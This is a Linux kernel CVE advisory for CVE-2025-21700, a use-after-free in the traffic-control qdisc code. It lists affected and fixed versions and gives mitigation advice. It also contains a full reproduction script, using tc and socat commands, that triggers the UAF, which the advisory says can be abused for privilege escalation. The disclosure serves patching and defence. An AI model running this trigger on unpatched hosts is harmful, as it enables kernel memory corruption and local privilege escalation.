linux-cve-announce - CVE-2025-21700: net: sched: Disallow replacing of child qdisc from one parent to another

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Message-ID: <2025021308-CVE-2025-21700-305d@gregkh>
Date: Thu, 13 Feb 2025 12:30:09 +0100
From: Greg Kroah-Hartman <gregkh@...uxfoundation.org>
To: linux-cve-announce@...r.kernel.org
Cc: Greg Kroah-Hartman <gregkh@...uxfoundation.org>
Subject: CVE-2025-21700: net: sched: Disallow replacing of child qdisc from one parent to another

Description
===========

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script

Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr

step3. a class for nesting
tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 limit 1000p
 qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo
 class drr 1:1 root leaf 2: quantum 64Kb
 class drr 1:2 root leaf 3: quantum 64Kb
 class drr 1:3 root leaf 4: quantum 64Kb
 class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
 qdisc drr 1: dev lo root refcnt 2
 qdisc plug 2: dev lo parent 1:1
 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
 qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent.  b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.

Step 12.  send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13.  send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

Joint work with Lion Ackermann <nnamrec@...il.com>

The Linux kernel CVE team has assigned CVE-2025-21700 to this issue.

Affected and fixed versions
===========================

	Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 6.6.76 with commit 7e2bd8c13b07e29a247c023c7444df23f9a79fd8
	Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 6.12.13 with commit 73c7e1d6898ccbeee126194dcc05f58b8a795e70
	Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 6.13.2 with commit 46c59ec33ec98aba20c15117630cae43a01404cc
	Issue introduced in 2.6.12 with commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 and fixed in 6.14-rc1 with commit bc50835e83f60f56e9bec2b392fb5544f250fb6f

Please see https://www.kernel.org for a full list of currently supported
kernel versions by the kernel community.

Unaffected versions might change over time as fixes are backported to
older supported kernel versions.  The official CVE entry at
	https://cve.org/CVERecord/?id=CVE-2025-21700
will be updated if fixes are backported, please check that for the most
up to date information about this issue.

Affected files
==============

The file(s) affected by this issue are:
	net/sched/sch_api.c

Mitigation
==========

The Linux kernel CVE team recommends that you update to the latest
stable kernel version for this, and many other bugfixes.  Individual
changes are never tested alone, but rather are part of a larger kernel
release.  Cherry-picking individual commits is not recommended or
supported by the Linux kernel community at all.  If however, updating to
the latest release is impossible, the individual changes to resolve this
issue can be found at these commits:
	https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8
	https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70
	https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc
	https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f